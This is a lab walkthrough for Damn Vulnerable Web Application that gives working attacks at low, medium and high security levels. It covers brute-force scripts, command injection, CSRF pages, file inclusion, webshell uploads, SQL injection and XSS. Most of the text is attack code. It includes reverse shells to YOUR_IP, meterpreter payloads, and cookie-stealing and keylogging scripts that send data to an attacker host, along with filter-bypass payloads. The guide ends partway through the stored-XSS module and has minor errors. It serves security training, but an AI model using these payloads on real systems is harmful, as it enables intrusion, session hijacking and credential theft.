

Damn Vulnerable Web Application

Complete Lab Solutions Guide

LOW | MEDIUM | HIGH

All 10 Vulnerability Modules — Payloads, Tools, Code & Methodology

For use on local VM / Kali Linux environment only

Module	Vulnerability	Severity
01	Brute Force	HIGH
02	Command Injection	CRITICAL
03	CSRF	HIGH
04	File Inclusion (LFI/RFI)	CRITICAL
05	File Upload	CRITICAL
06	Insecure CAPTCHA	MEDIUM
07	SQL Injection	CRITICAL
08	SQL Injection (Blind)	CRITICAL
09	XSS (Reflected)	HIGH
10	XSS (Stored)	HIGH

DVWA Environment Setup

DVWA (Damn Vulnerable Web Application) is an intentionally insecure PHP/MySQL web application designed for security professionals to practice common web vulnerabilities in a legal, controlled lab environment. Never expose DVWA to the public internet.

Lab Requirements

Component	Recommended	Notes
OS	Kali Linux 2024 / Ubuntu 22.04	Run as VM in VirtualBox / VMware
DVWA	v1.10 or GitHub latest	github.com/digininja/DVWA
Web Server	Apache 2.4 + PHP 7.4+	Included in XAMPP / LAMP
Database	MySQL 5.7 / MariaDB	Default dvwa/dvwa credentials
Browser	Firefox + FoxyProxy	For Burp Suite proxy
Proxy	Burp Suite Community Edition	intercept & modify requests
Tools	sqlmap, nikto, hydra, curl	Pre-installed in Kali

Quick Start — DVWA on Kali Linux

```
# Option 1: Use DVWA Docker (fastest)
docker pull vulnerables/web-dvwa
docker run -d -p 80:80 vulnerables/web-dvwa
# Open: http://127.0.0.1/login.php

# Option 2: Manual install with XAMPP
wget https://www.apachefriends.org/xampp-files/8.2.4/xampp-linux-x64-8.2.4-0-installer.run
chmod +x xampp-linux*.run && sudo ./xampp-linux*.run
sudo /opt/lampp/lampp start

# Clone DVWA into web root
cd /opt/lampp/htdocs
sudo git clone https://github.com/digininja/DVWA.git dvwa
sudo cp dvwa/config/config.inc.php.dist dvwa/config/config.inc.php

# Edit database credentials in config.inc.php
sudo nano dvwa/config/config.inc.php
# Set: db_password = '' (or your MySQL root password)

# Open browser: http://127.0.0.1/dvwa/setup.php
# Click: Create / Reset Database
# Login: admin / password
```

Setting Security Level

```
# Via browser:
# DVWA Security tab -> Set Security Level -> Low / Medium / High / Impossible

# Via PHP Session (curl example):
curl -c cookies.txt -d "username=admin&password=password&Login=Login" \
  http://127.0.0.1/dvwa/login.php

curl -b cookies.txt -d "security=low&seclev_submit=Submit" \
  http://127.0.0.1/dvwa/security.php

# Verify current level:
curl -b cookies.txt http://127.0.0.1/dvwa/security.php | grep "Security Level"
```

Note: Throughout this guide, DVWA_URL = <http://127.0.0.1/dvwa> and all attacks are performed on your own local VM only.

Module 01 — Brute Force

URL	/dvwa/vulnerabilities/brute/
Goal	Bypass login authentication by systematically guessing credentials
Tools	Hydra, Burp Suite Intruder, curl, Python script
CVE Ref	CWE-307: Improper Restriction of Excessive Authentication Attempts

Security Level: LOW

At Low security, there is no lockout, no CAPTCHA, and no rate-limiting. The login form accepts unlimited attempts, making it trivially brute-forceable.

Attack 1 — Hydra Dictionary Attack

```
# Hydra HTTP GET form brute force
hydra -l admin -P /usr/share/wordlists/rockyou.txt \
  "127.0.0.1" http-get-form \
  "/dvwa/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:F=Username and/or
password incorrect.:H=Cookie: PHPSESSID=YOUR_SESSION; security=low"

# Replace YOUR_SESSION with value from browser developer tools
# -l admin      : single username
# -P rockyou.txt : password list
# F=           : failure string to detect wrong passwords
```

Attack 2 — Burp Suite Intruder

- Open Burp Suite -> Proxy -> Intercept On
- Submit login form in browser with any credentials
- Intercept the GET request in Burp
- Right-click -> Send to Intruder
- Positions tab: highlight password value -> Add §
- Payloads tab: load /usr/share/wordlists/rockyou.txt
- Start Attack -> filter by Response Length (correct login differs)
- Successful login shows different Content-Length (typically longer)

Attack 3 — Python Script

```
import requests

url = "http://127.0.0.1/dvwa/vulnerabilities/brute/"
session_cookie = {"PHPSESSID": "YOUR_SESSION", "security": "low"}
passwords = open("/usr/share/wordlists/rockyou.txt", "r", errors="ignore").readlines()

for pwd in passwords:
    pwd = pwd.strip()
    params = {"username": "admin", "password": pwd, "Login": "Login"}
    r = requests.get(url, params=params, cookies=session_cookie)
    if "Welcome to the password protected area" in r.text:
        print(f"[+] FOUND! Password: {pwd}")
        break
    print(f"[-] Trying: {pwd}", end="\r")
```

Security Level: MEDIUM

Medium level adds a 2-second sleep after each failed attempt. Brute force still works but is significantly slower — the sleep is server-side, so you cannot bypass it by simply sending requests faster.

Bypass — Distributed / Slow Attack

```
# Hydra with rate limiting (1 attempt per 3 seconds)
hydra -l admin -P top500.txt -t 1 -w 5 \
  "127.0.0.1" http-get-form \
  "/dvwa/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:F=incorrect:H=Cookie: PHPSESSID=SID; security=medium"

# For medium, use a targeted wordlist (not full rockyou)
# Generate custom wordlist with cewl (crawl site for words):
cewl http://127.0.0.1/dvwa/ -m 4 -w dvwa_words.txt

# Use cupp for profile-based password generation:
cupp -i # fill in target details -> generates targeted list
```

Security Level: HIGH

High level implements a per-login CSRF token. Each request must include a valid `user_token` that changes with every page load. Standard tools fail unless they first extract the token from the previous response.

Bypass — Token Extraction Script

```
import requests
from bs4 import BeautifulSoup

url = "http://127.0.0.1/dvwa/vulnerabilities/brute/"
login = "http://127.0.0.1/dvwa/login.php"
cookies = {"security": "high"}

# Step 1: Create session and login
s = requests.Session()
r = s.post(login, data={"username": "admin", "password": "password", "Login": "Login"})
cookies["PHPSESSID"] = s.cookies.get("PHPSESSID")

passwords = ["123456", "password", "admin", "letmein", "qwerty", "monkey", "dragon"]

for pwd in passwords:
    # Step 2: Fetch page to get fresh CSRF token
    r = s.get(url, cookies={"security": "high"})
    soup = BeautifulSoup(r.text, "html.parser")
    token = soup.find("input", {"name": "user_token"})["value"]

    # Step 3: Submit with valid token
    params = {"username": "admin", "password": pwd,
              "Login": "Login", "user_token": token}
    r = s.get(url, params=params, cookies={"security": "high"})

    if "Welcome to the password protected area" in r.text:
        print(f"[+] Password cracked: {pwd}")
        break
    print(f"[-] {pwd} - wrong")
```

Note: High level CSRF tokens are single-use. Each brute-force attempt must fetch a fresh token first — this is the correct evasion technique.

Module 02 — Command Injection

URL	/dvwa/vulnerabilities/exec/
Goal	Execute arbitrary OS commands on the server by injecting into a ping field
Tools	Browser, curl, Burp Suite, netcat
CVE	CWE-78: OS Command Injection

The application takes a user-supplied IP address and passes it directly to a system ping command. By appending shell metacharacters, an attacker can chain additional commands.

Shell Metacharacters Reference

Operator	Behaviour	Works On
;	Run second command regardless of first exit code	Linux
&&	Run second command only if first succeeds	Linux/Windows
	Run second command only if first FAILS	Linux/Windows
	Pipe output of first to second command	Linux/Windows
`cmd`	Inline execution (backtick)	Linux
\$(cmd)	Command substitution	Linux
&	Run in background / second cmd on Windows	Windows

Security Level: LOW

Basic Command Chaining

```
# In the IP field, enter:
127.0.0.1; whoami
127.0.0.1; id
127.0.0.1; cat /etc/passwd
127.0.0.1; ls -la /var/www/html/dvwa/

# Read DVWA config (contains DB credentials!)
127.0.0.1; cat /var/www/html/dvwa/config/config.inc.php

# Network reconnaissance from server
127.0.0.1; ifconfig
127.0.0.1; netstat -tulnp

# Write a PHP webshell to web root
127.0.0.1; echo '<?php system($_GET["cmd"]); ?>' > /var/www/html/shell.php
```

Reverse Shell via Command Injection

```
# Step 1: Start listener on your attack machine
nc -lvnp 4444

# Step 2: Inject reverse shell payload in DVWA IP field:
127.0.0.1; bash -i >& /dev/tcp/YOUR_IP/4444 0>&1

# Alternative payloads:
127.0.0.1; python3 -c 'import socket,subprocess;s=socket.socket();s.connect(("YOUR_IP",4444));subprocess.call(["/bin/sh"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())'
```

```
127.0.0.1; php -r '$s=fsockopen("YOUR_IP",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
```

Step 3: Once connected, upgrade shell:

```
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
```

Security Level: MEDIUM

Medium level strips '&&' and ';' using str_replace. However, '|' (pipe) is not blacklisted.

```
# Bypasses for Medium level:
127.0.0.1 | whoami
127.0.0.1 | cat /etc/passwd
127.0.0.1 | id; echo hacked # semicolon after pipe works
127.0.0.1 | bash -i >& /dev/tcp/YOUR_IP/4444 0>&1

# Double encoding trick (if output is filtered through HTML):
127.0.0.1%0aid # URL-encoded newline (%0a = LF)

# Nested substitution:
127.0.0.1 | $(id)
```

Security Level: HIGH

High level has a more comprehensive blacklist: '|', ';', '&', ' ', '/', 'cat', '\\'. Bypasses require creative encoding and alternative commands.

```
# Bypass techniques for High level:

# 1. Use '|' without space (blacklist checks ' | ' with spaces in some versions)
127.0.0.1|id
127.0.0.1|whoami
127.0.0.1|hostname

# 2. IFS (Internal Field Separator) substitution for spaces:
127.0.0.1|{cat,/etc/passwd} # brace expansion – no spaces needed

# 3. Use $IFS instead of space:
127.0.0.1|cat$IFS/etc/passwd

# 4. Hex encoding for filtered characters:
127.0.0.1|`printf 'cat'`$IFS/etc/passwd # hex for 'cat'

# 5. Tab character (%09) instead of space:
127.0.0.1|cat%09/etc/passwd # submit via Burp with raw tab
```

Module 03 — Cross-Site Request Forgery (CSRF)

URL	/dvwa/vulnerabilities/csrf/
Goal	Change the admin password without their knowledge by tricking them into clicking a link
Tools	Browser, Burp Suite, HTML editor
CVE	CWE-352: Cross-Site Request Forgery

CSRF exploits the trust a web application has in a user's browser. If the victim is authenticated and visits an attacker-controlled page, their browser will silently send requests to the vulnerable application using the victim's session cookies.

Security Level: LOW

Method 1 — Crafted URL (GET-based CSRF)

```
# DVWA CSRF change-password request (Low) is a GET request:
# http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=hacked&password_conf=hacked&Change=Change

# As an attacker, embed this in an <img> tag on a phishing page:
# 

# Or use a redirect:
# <script>>window.location="http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=hacked&password_conf=hacked&Change=Change"</script>
```

Method 2 — Full CSRF HTML Page

```
<!-- Save as csrf_attack.html and host it (python3 -m http.server 8000) -->
<!DOCTYPE html>
<html>
<body onload="document.forms[0].submit()">
  <h1>You won a prize!</h1>
  <form action="http://127.0.0.1/dvwa/vulnerabilities/csrf/" method="GET"
style="display:none">
    <input type="hidden" name="password_new" value="hacked123">
    <input type="hidden" name="password_conf" value="hacked123">
    <input type="hidden" name="Change" value="Change">
  </form>
</body>
</html>

<!-- Victim visits http://ATTACKER_IP:8000/csrf_attack.html while logged into DVWA -->
<!-- Their password is silently changed to hacked123 -->
```

Security Level: MEDIUM

Medium checks the HTTP Referer header. The request must appear to come from the same host. This is bypassable because Referer can be spoofed or controlled.

```
# Bypass 1: Host the attack page on the same domain/port (works if XSS exists)
# Bypass 2: Modify Referer via Burp Suite
# Intercept -> Headers -> Change Referer to: http://127.0.0.1/dvwa/

# Bypass 3: Some browsers don't send Referer — attacker page with:
<meta name="referrer" content="no-referrer">

# Full bypass page:
```

```

<!DOCTYPE html>
<html>
<head><meta name="referrer" content="no-referrer"></head>
<body onload="document.forms[0].submit()">
  <form action="http://127.0.0.1/dvwa/vulnerabilities/csrf/" method="GET">
    <input type="hidden" name="password_new" value="pwned">
    <input type="hidden" name="password_conf" value="pwned">
    <input type="hidden" name="Change" value="Change">
  </form>
</body>
</html>

```

Security Level: HIGH

High level uses a CSRF token tied to the session. Exploitation requires combining CSRF with XSS to steal the token from the same origin.

```

# Pre-requisite: XSS vulnerability exists on same domain (see Module 09)
# Use stored XSS to inject a token-stealing payload:

<script>
// Fetch the CSRF form from the change-password page
fetch('/dvwa/vulnerabilities/csrf/')
  .then(r => r.text())
  .then(html => {
    // Extract the user_token
    let token = html.match(/user_token.*?value='([a-f0-9+]')'/)[1];
    // Use the token in a CSRF request
    fetch('/dvwa/vulnerabilities/csrf/?password_new=hacked&password_conf=hacked&Change=Change&user_token=' + token);
  });
</script>

# This works because XSS runs in the same origin as DVWA,
# bypassing SOP (Same Origin Policy) which would block a cross-origin fetch.

```

Module 04 — File Inclusion (LFI / RFI)

URL	/dvwa/vulnerabilities/fi/?page=include.php
Goal	Read arbitrary server files (LFI) or execute remote code (RFI)
Tools	Browser, curl, netcat, PHP webshell
CVE	CWE-98: Improper Control of Filename for Include/Require Statement

Security Level: LOW

Local File Inclusion (LFI)

```
# Basic LFI - read /etc/passwd
http://127.0.0.1/dvwa/vulnerabilities/fi/?page=../../../../etc/passwd
http://127.0.0.1/dvwa/vulnerabilities/fi/?page=../../../../etc/shadow
http://127.0.0.1/dvwa/vulnerabilities/fi/?page=../../../../etc/hosts

# Read DVWA source / config
http://127.0.0.1/dvwa/vulnerabilities/fi/?page=../fi/source/low.php
http://127.0.0.1/dvwa/vulnerabilities/fi/?page=../../../../var/www/html/dvwa/config/config.inc
.php

# Read Apache log files (for log poisoning)
http://127.0.0.1/dvwa/vulnerabilities/fi/?page=../../../../var/log/apache2/access.log
```

Log Poisoning -> RCE via LFI

```
# Step 1: Inject PHP into User-Agent (it gets written to access.log)
curl -A "<?php system(\$_GET['cmd']); ?>" http://127.0.0.1/dvwa/

# Step 2: Include the poisoned log file
http://127.0.0.1/dvwa/vulnerabilities/fi/?page=../../../../var/log/apache2/access.log&cmd=id

# The PHP code in the log is executed! Output: uid=33(www-data) gid=33(www-data)

# Step 3: Get a reverse shell
http://127.0.0.1/dvwa/vulnerabilities/fi/?page=../../../../var/log/apache2/access.log&cmd=bash
+-i+%26+/dev/tcp/YOUR_IP/4444+0>%261
```

Remote File Inclusion (RFI)

```
# Step 1: Host a PHP webshell on your attacker machine
echo '<?php system($_GET["cmd"]); ?>' > shell.php
python3 -m http.server 8080

# Step 2: Include your remote file via RFI
http://127.0.0.1/dvwa/vulnerabilities/fi/?page=http://YOUR_IP:8080/shell.php&cmd=id

# Meterpreter via RFI:
# Generate payload:
msfvenom -p php/meterpreter/reverse_tcp LHOST=YOUR_IP LPORT=5555 -o payload.php
python3 -m http.server 8080

# In Metasploit:
use exploit/multi/handler
set PAYLOAD php/meterpreter/reverse_tcp
set LHOST YOUR_IP && set LPORT 5555
run

# Trigger: http://127.0.0.1/dvwa/vulnerabilities/fi/?page=http://YOUR_IP:8080/payload.php
```

Security Level: MEDIUM

```
# Medium strips 'http://', 'https://', '../', '..' using str_replace
# Bypasses:

# 1. Double encoding (../ becomes ../ after decode):
http://127.0.0.1/dvwa/vulnerabilities/fi/?page=../../../../../../../../etc/passwd
http://127.0.0.1/dvwa/vulnerabilities/fi/?page=../../../../../../../../etc/passwd

# 2. URL encoding:
http://127.0.0.1/dvwa/vulnerabilities/fi/?page=%2e%2e%2f%2e%2e%2fetc/passwd

# 3. Null byte (older PHP versions):
http://127.0.0.1/dvwa/vulnerabilities/fi/?page=../../../../etc/passwd%00

# 4. RFI bypass (http:// stripped, use alternate protocol):
http://127.0.0.1/dvwa/vulnerabilities/fi/?page=hthttp://tp://YOUR_IP/shell.php
```

Security Level: HIGH

```
# High uses fnmatch() to ensure page starts with 'file'
# Bypass: use file:// protocol (still LFI, but protocol-based)

http://127.0.0.1/dvwa/vulnerabilities/fi/?page=file:///etc/passwd
http://127.0.0.1/dvwa/vulnerabilities/fi/?page=file:///var/www/html/dvwa/config/config.inc.php

# PHP filter wrapper (read source as base64):
http://127.0.0.1/dvwa/vulnerabilities/fi/?page=php://filter/convert.base64-encode/resource=file:///etc/passwd

# Decode on attacker machine:
echo "BASE64_OUTPUT" | base64 -d
```

Module 05 — File Upload

URL	/dvwa/vulnerabilities/upload/
Goal	Upload a PHP webshell to gain remote code execution on the server
Tools	Browser, Burp Suite, curl, msfvenom
CVE	CWE-434: Unrestricted Upload of File with Dangerous Type

Security Level: LOW

Simple PHP Webshell Upload

```
# Step 1: Create webshell
echo '<?php system($_GET["cmd"]); ?>' > shell.php

# Step 2: Upload via DVWA upload form (no restrictions)

# Step 3: Access the uploaded shell
http://127.0.0.1/dvwa/hackable/uploads/shell.php?cmd=id
http://127.0.0.1/dvwa/hackable/uploads/shell.php?cmd=cat+/etc/passwd
http://127.0.0.1/dvwa/hackable/uploads/shell.php?cmd=ls+-la+/var/www/html/

# Full interactive PHP webshell (b374k or p0wny-shell):
# Download: https://github.com/flozz/p0wny-shell
# Upload p0wny-shell.php and browse to it for interactive shell UI

# Meterpreter PHP payload:
msfvenom -p php/meterpreter/reverse_tcp LHOST=YOUR_IP LPORT=4444 > meter.php
# Upload meter.php, start handler, browse to trigger
```

Security Level: MEDIUM

Medium checks MIME type (Content-Type header) and file extension. Both can be manipulated with Burp Suite.

```
# Attack: Change Content-Type header via Burp Suite
# 1. Upload shell.php normally – intercepted by Burp
# 2. In Burp, change:
#   Content-Type: application/x-php
#   -> to:
#   Content-Type: image/jpeg
# 3. Forward request -> shell.php is accepted

# Double extension bypass (if only checking last extension):
mv shell.php shell.php.jpg
# Upload shell.php.jpg -> might execute as PHP depending on server config

# Null byte bypass (older PHP):
# Filename: shell.php%00.jpg
# Server saves as shell.php (truncates at null byte)

# Via curl with spoofed Content-Type:
curl -b "PHPSESSID=SID;security=medium" \
  -F "uploaded=@shell.php;type=image/jpeg;filename=shell.php" \
  -F "Upload=Upload" \
  http://127.0.0.1/dvwa/vulnerabilities/upload/
```

Security Level: HIGH

High level uses `getimagesize()` and checks real file content magic bytes. A pure PHP file will be rejected. Solution: embed PHP in a valid image.

```
# Technique 1: Append PHP to real JPEG (polyglot file)
cp legitimate.jpg shell.jpg
echo '<?php system($_GET["cmd"]); ?>' >> shell.jpg
# Upload shell.jpg

# Technique 2: exiftool comment injection
exiftool -Comment='<?php system($_GET["cmd"]); ?>' image.jpg
mv image.jpg shell.php.jpg
# If server uses .htaccess to force PHP execution, this works

# Technique 3: Create a valid GIF with PHP payload
echo 'GIF89a<?php system($_GET["cmd"]); ?>' > shell.gif
# Upload shell.gif
# Access: http://127.0.0.1/dvwa/hackable/uploads/shell.gif?cmd=id

# Technique 4: .htaccess upload trick
# Create .htaccess file:
echo 'AddType application/x-httpd-php .jpg' > .htaccess
# Upload .htaccess -> then upload shell.jpg (with PHP content)
# Now .jpg files are executed as PHP!
```

Module 06 — SQL Injection

URL	/dvwa/vulnerabilities/sqli/
Goal	Extract data from the database by manipulating SQL queries
Tools	Browser, sqlmap, Burp Suite, manual payloads
CVE	CWE-89: Improper Neutralization of Special Elements in SQL Commands

SQL Injection occurs when user input is directly concatenated into a SQL query without sanitization. Attackers can manipulate the query logic to extract, modify, or delete database data.

SQL Injection Methodology

- 1. Identify injection point (single quote test: ')
- 2. Determine number of columns (ORDER BY 1, 2, 3... until error)
- 3. Find displayable columns (UNION SELECT NULL, NULL...)
- 4. Extract database metadata (version, schema, tables)
- 5. Dump target table data (users, credentials)
- 6. Crack password hashes offline

Security Level: LOW

Manual SQL Injection

```
# Test: Enter in the User ID field:
'          <- syntax error confirms injection
' OR '1'='1  <- always true, returns all rows
' OR 1=1--   <- comment rest of query

# Step 1: Find number of columns
' ORDER BY 1--   (no error)
' ORDER BY 2--   (no error)
' ORDER BY 3--   (error -> 2 columns exist)

# Step 2: Find displayable columns
' UNION SELECT NULL, NULL--
' UNION SELECT 'col1','col2'--

# Step 3: Extract DB version and name
' UNION SELECT version(), database()--

# Step 4: List all tables
' UNION SELECT table_name, NULL FROM information_schema.tables WHERE table_schema=database()--

# Step 5: List columns in users table
' UNION SELECT column_name, NULL FROM information_schema.columns WHERE table_name='users'--

# Step 6: Dump all user credentials
' UNION SELECT user, password FROM users--

# Sample output:
# admin : 5f4dcc3b5aa765d61d8327deb882cf99  <- MD5 of 'password'
# gordonb : e99a18c428cb38d5f260853678922e03  <- MD5 of 'abc123'
```

Automated SQLMap Attack

```
# Capture request in Burp -> Save to req.txt
# Or use sqlmap directly:
```

```

sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" \
--cookie="PHPSESSID=YOUR_SID;security=low" \
--dbs # enumerate databases

sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" \
--cookie="PHPSESSID=YOUR_SID;security=low" \
-D dvwa --tables # list tables in dvwa database

sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" \
--cookie="PHPSESSID=YOUR_SID;security=low" \
-D dvwa -T users --dump # dump users table

# sqlmap also cracks hashes automatically!
# Output: admin | password (from hash 5f4dcc3b5aa765d61d8327deb882cf99)

```

Security Level: MEDIUM

Medium uses `mysql_real_escape_string()` on the input AND the ID is submitted via POST with a dropdown (not direct text input). Use Burp to modify the POST body.

```

# Intercept POST request in Burp Suite:
# POST /dvwa/vulnerabilities/sqli/ HTTP/1.1
# Body: id=1&Submit=Submit

# Modify body to inject:
id=1 UNION SELECT user,password FROM users--&Submit=Submit

# Or use sqlmap with POST:
sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/" \
--cookie="PHPSESSID=SID;security=medium" \
--data="id=1&Submit=Submit" \
--technique=U # UNION-based
-D dvwa -T users --dump

```

Security Level: HIGH

High level uses a separate form (session-stored input) and PDO prepared statements improperly, but still allows UNION injection via the cookie/session trick.

```

# High level uses: LIMIT 1 at end of query
# The injection point is in a pop-up form that POSTs to a different endpoint

# Payload (must close LIMIT clause):
1' UNION SELECT user,password FROM users--

# Via Burp – the second page posts the ID:
# POST /dvwa/vulnerabilities/sqli/session-input.php
# id=1' UNION SELECT user,password FROM users-- -&Submit=Submit

# sqlmap with session file:
sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/" \
--cookie="PHPSESSID=SID;security=high" \
--data="id=1&Submit=Submit" \
--second-url="http://127.0.0.1/dvwa/vulnerabilities/sqli/" \
-D dvwa -T users --dump

```

Cracking Harvested MD5 Hashes

```

# Method 1: hashcat
hashcat -m 0 hashes.txt /usr/share/wordlists/rockyou.txt

# Method 2: john
john --format=raw-md5 hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt

```

```
# Method 3: Online lookup
# https://crackstation.net (paste hashes, get plaintext)

# Common DVWA default hashes:
# 5f4dcc3b5aa765d61d8327deb882cf99 -> password (admin)
# e99a18c428cb38d5f260853678922e03 -> abc123 (gordonb)
# 0d107d09f5bbe40cade3de5c71e9e9b7 -> letmein (1337)
# 8d3533d75ae2c3966d7e0d4fcc69216b -> charley (pablo)
```

Module 07 — SQL Injection (Blind)

URL	/dvwa/vulnerabilities/sqli_blind/
Goal	Extract data without visible output — infer results from true/false responses
Tools	sqlmap, custom Python script, Burp Suite
CVE	CWE-89: SQL Injection (Blind variant)

Blind SQL Injection returns no direct output. Instead, you infer data by asking true/false questions (Boolean-based) or by measuring response time delays (Time-based). It's slower but just as powerful as error-based or UNION injection.

Security Level: LOW

Boolean-Based Blind SQLi

```
# True condition -> "User ID exists"
# False condition -> "User ID is MISSING"

# Test: ID 1 exists (baseline)
1

# Test: Always true
1' AND 1=1--      -> User ID exists (TRUE)
1' AND 1=2--      -> User ID is MISSING (FALSE)

# Extract admin password character by character:
# Is the first character of admin's password 'a' (ASCII 97)?
1' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE user='admin')='5'--
# 'password' MD5 starts with '5', so this should return TRUE

# Automate with Python:
```

```
import requests

url = "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/"
cookies = {"PHPSESSID": "YOUR_SID", "security": "low"}
chars = "0123456789abcdef" # MD5 chars only

password = ""
for pos in range(1, 33): # MD5 = 32 chars
    for ch in chars:
        payload = f"1' AND (SELECT SUBSTRING(password,{pos},1) FROM users WHERE user='admin')='{ch}'-- -"
        r = requests.get(url, params={"id": payload, "Submit": "Submit"}, cookies=cookies)
        if "User ID exists" in r.text:
            password += ch
            print(f"[+] Position {pos}: {ch} => {password}")
            break

print(f"[+] Hash: {password}")
```

Time-Based Blind SQLi

```
# Use SLEEP() to confirm injection (response delays by N seconds on TRUE)
1' AND SLEEP(5)--      -> 5 second delay = vulnerable!
1' AND 1=1 AND SLEEP(5)-- -> TRUE: delay
1' AND 1=2 AND SLEEP(5)-- -> FALSE: instant response

# Extract data with time-based:
# Is first char of password = '5'? (delay = yes)
```

```
1' AND IF((SELECT SUBSTRING(password,1,1) FROM users WHERE user='admin')='5', SLEEP(3), 0)-- -

# Automated with sqlmap (time-based):
sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit" \
  --cookie="PHPSESSID=SID;security=low" \
  --technique=T \ # Time-based only
  --time-sec=3 \
  -D dvwa -T users -C user,password --dump
```

Security Level: MEDIUM

```
# Medium uses POST + mysql_real_escape_string (quotes escaped)
# Use numeric injection (no quotes needed):

# Boolean: does admin's password hash start with '5'?
1 AND (SELECT ASCII(SUBSTRING(password,1,1)) FROM users WHERE user=0x61646d696e)=53--
# 0x61646d696e = hex for 'admin' (no quotes needed!)
# ASCII('5') = 53

# sqlmap handles this automatically:
sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/" \
  --cookie="PHPSESSID=SID;security=medium" \
  --data="id=1&Submit=Submit" \
  --technique=BT \
  -D dvwa -T users --dump
```

Security Level: HIGH

```
# High uses cookie-based injection (id value stored in cookie)
# Set the cookie 'id' to your payload:

curl -b "PHPSESSID=SID;security=high;id=1' AND SLEEP(5)-- -" \
  "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/"

# sqlmap with cookie injection:
sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/" \
  --cookie="PHPSESSID=SID;security=high;id=1*" \
  --level=3 \ # level 3+ tests cookies
  -D dvwa -T users --dump
```

Module 08 — XSS (Reflected)

URL	/dvwa/vulnerabilities/xss_r/
Goal	Execute JavaScript in victim's browser via a crafted URL
Tools	Browser, Burp Suite, BeEF Framework
CVE	CWE-79: Improper Neutralization of Input During Web Page Generation

Reflected XSS occurs when user-supplied input is immediately returned in the HTTP response without proper encoding. The payload is embedded in a crafted URL that must be sent to the victim (phishing email, shortened link, etc.).

Security Level: LOW

Basic XSS Payloads

```
# In the 'What's your name?' field, enter:
<script>alert('XSS')</script>
<script>alert(document.cookie)</script>
<script>alert(document.domain)</script>

# Pop out session cookie (most impactful):
<script>alert('Session: '+document.cookie)</script>

# Redirect to attacker site:
<script>window.location='http://ATTACKER_IP/?c='+document.cookie</script>

# Keylogger injection:
<script>document.onkeypress=function(e){new
Image().src='http://ATTACKER_IP/?k='+e.key;}</script>

# BeEF hook injection (browser exploitation framework):
<script src="http://ATTACKER_IP:3000/hook.js"></script>
```

Session Hijacking with XSS

```
# Step 1: Start listener on attack machine
nc -lvp 8080

# Or use Python listener:
python3 -c "
import http.server, urllib.parse
class H(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        print('[STOLEN]', urllib.parse.unquote(self.path))
        self.send_response(200); self.end_headers()
http.server.HTTPServer(('0.0.0.0', 8080), H).serve_forever()"

# Step 2: XSS payload to steal cookie:
<script>new Image().src='http://YOUR_IP:8080/?cookie='+btoa(document.cookie)</script>

# Step 3: Send crafted URL to victim:
http://127.0.0.1/dvwa/vulnerabilities/xss_r/?name=<script>new
Image().src='http://YOUR_IP:8080/?c='+document.cookie</script>

# Step 4: Use stolen PHPSESSID in your browser (replace your cookie)
# Developer Tools -> Application -> Cookies -> Edit PHPSESSID
```

Security Level: MEDIUM

Medium uses `str_replace` to remove script tags (case-insensitive). Event handlers and alternative tags bypass this filter.

```
# Bypass: Event handlers (no <script> tag needed)
<img src=x onerror="alert(1)">
<img src=x onerror="alert(document.cookie)">
<body onload="alert(1)">
<svg onload="alert(1)">
<input autofocus onfocus="alert(1)">
<a href="javascript:alert(1)">Click</a>

# Bypass: Mixed case (if filter is case-sensitive)
<ScRiPt>alert(1)</ScRiPt>
<SCRIPT>alert(1)</SCRIPT>

# Bypass: Nested tags (if filter removes script once)
<scr<script>ipt>alert(1)</scr</script>ipt>

# Cookie stealer via img onerror:
<img src=x onerror="window.location='http://YOUR_IP:8080/?c='+document.cookie">
```

Security Level: HIGH

High uses a regex-based blacklist for script tags. Bypass with HTML5 event handlers.

```
# High blocks: <script, </script> (regex)
# Bypass with HTML5 events:
<img src=x onerror=alert`1`>
<svg/onload=alert(1)>
<details open ontoggle=alert(1)>
<video><source onerror=alert(1)>
<body onpageshow=alert(1)>
<marquee onstart=alert(1)>loop</marquee>

# Encoding bypass:
<img src=x onerror=&#97;&#108;&#101;&#114;&#116;&#40;1&#41;>
# (HTML entity encoding of alert(1))

# JavaScript URI in anchor:
<a href=&#106;avascript:alert(1)>XSS</a>

# Full cookie stealer:
<img src=x onerror=this.src='http://YOUR_IP:8080/?c='+document.cookie>
```

Module 09 — XSS (Stored)

URL	/dwwa/vulnerabilities/xss_s/
Goal	Persistently inject JavaScript that executes for every user who views the page
Tools	Browser, Burp Suite, BeEF Framework
CVE	CWE-79: Stored Cross-Site Scripting

Stored XSS (also called Persistent XSS) is more dangerous than Reflected XSS. The payload is saved in the database and executed automatically for every user who visits the affected page — no phishing link required.

Security Level: LOW

```
# The guestbook form has Name (max 10 chars in HTML) and Message fields
# Burp Suite is needed to bypass maxlength attribute

# In Message field (or via Burp):
<script>alert('Stored XSS')</script>
<script>alert(document.cookie)</script>

# Persistent cookie stealer (every visitor sends their cookie to attacker):
<script>new Image().src='http://YOUR_IP:8080/?c='+document.cookie</script>

# BeEF hook (every visitor is hooked in BeEF):
<script src="http://YOUR_IP:3000/hook.js"></script>

# Defacement:
<script>document.body.innerHTML='<h1>HACKED</h1>'</script>

# Keylogger for all visitors:
<script>
document.onkeypress=function(e){
  fetch('http://YOUR_IP:8080/?k='+encodeURIComponent(e.key));
};
</script>
```

Security Level: MEDIUM

```
# Medium strips <script> tags from the Message field
# But the Name field uses addslashes() only – different filtering!

# Bypass 1: Use Name field for payload (shorter but no script filter)
# Bypass Burp to change name length:
